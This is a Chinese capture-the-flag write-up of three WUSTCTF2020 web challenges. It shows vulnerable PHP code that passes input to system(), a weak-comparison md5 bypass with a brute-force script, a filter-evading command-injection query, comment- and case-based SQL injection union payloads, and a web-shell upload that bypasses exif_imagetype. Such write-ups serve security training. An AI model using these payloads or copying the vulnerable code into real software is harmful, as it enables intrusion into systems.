WUSCTF2020(部分解)

[WUSTCTF2020]朴实无华

/robots下面有/fAke_f1agggg.php一开始根据回显页面以为没用,但是响应头里面有东西!

/fl4g.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
}else{
die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
}
}else{
die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
else
die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
die("鍘婚潪娲插惂");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
system($get_flag);
}else{
die("蹇埌闈炴床浜�");
}
}else{
die("鍘婚潪娲插惂");
}
?>

就过滤了个空格和cat

md5那个地方一开始是自己去爆破用python,反正捣鼓了一段时间,其实应该先本地测的

1
"0e291242476940776845150308577824"=="0e215962017"

php的弱比较,所以利用python写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import hashlib
import itertools
import string

charset = string.digits

for length in itertools.count(1):
for chars in itertools.product(charset, repeat=length):
candidate = '0e'+''.join(chars)
md5_hash = hashlib.md5(candidate.encode()).hexdigest()
if '0e' == md5_hash[0:2:1] and md5_hash[2::].isdigit():
print(f"找到目标字符串:{candidate} 结果是:{md5_hash}")
exit()
print(f"未找到长度为 {length} 的解,继续尝试更长字符串...")

好难跑,但还是跑出来了

1
?num=1e4&md5=0e215962017&get_flag=tac<fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

[WUSTCTF2020]颜值成绩查询

考虑到是sql注入了,尝试:

1
2
3
4
5
6
7
1'#    不行,考虑数字类型
1# 可以,说明是数字类型
1 or 1=1# student number not exists.贼奇怪,可能有过滤,只是没刻意提醒
1/**/or/**/1=1# 可以
还有个大小写绕过
-1/**/Union/**/sElect/**/1,2,3#
-1/**/Union/**/sElect/**/1,2,(Select(group_concat(value))from(flag))#

也是一开始卡了,主要是过滤了没提醒!然后中间尝试了sqlmap的–temple参数,但是失败了,有工具还是好啊,但是工具一定要配合手测才更好!

现在发现思路很重要,不会的可以上网查,但是没思路就废了!所以我现在的想法就是注重思路的训练!

[WUSTCTF2020]CV Maker

有个注册页面,先注册登录再说,然后就只有一个头像上传的功能!

先上传一个仅改了后缀的一句话木马,然后发现有exif_imagetype有这个函数的检测,直接GIF89a绕过即可!

然后以为还要配合.user.ini没想到这题就是一个exif_imagetype后缀都没过滤!

然后访问上传地址直接getshell就行了!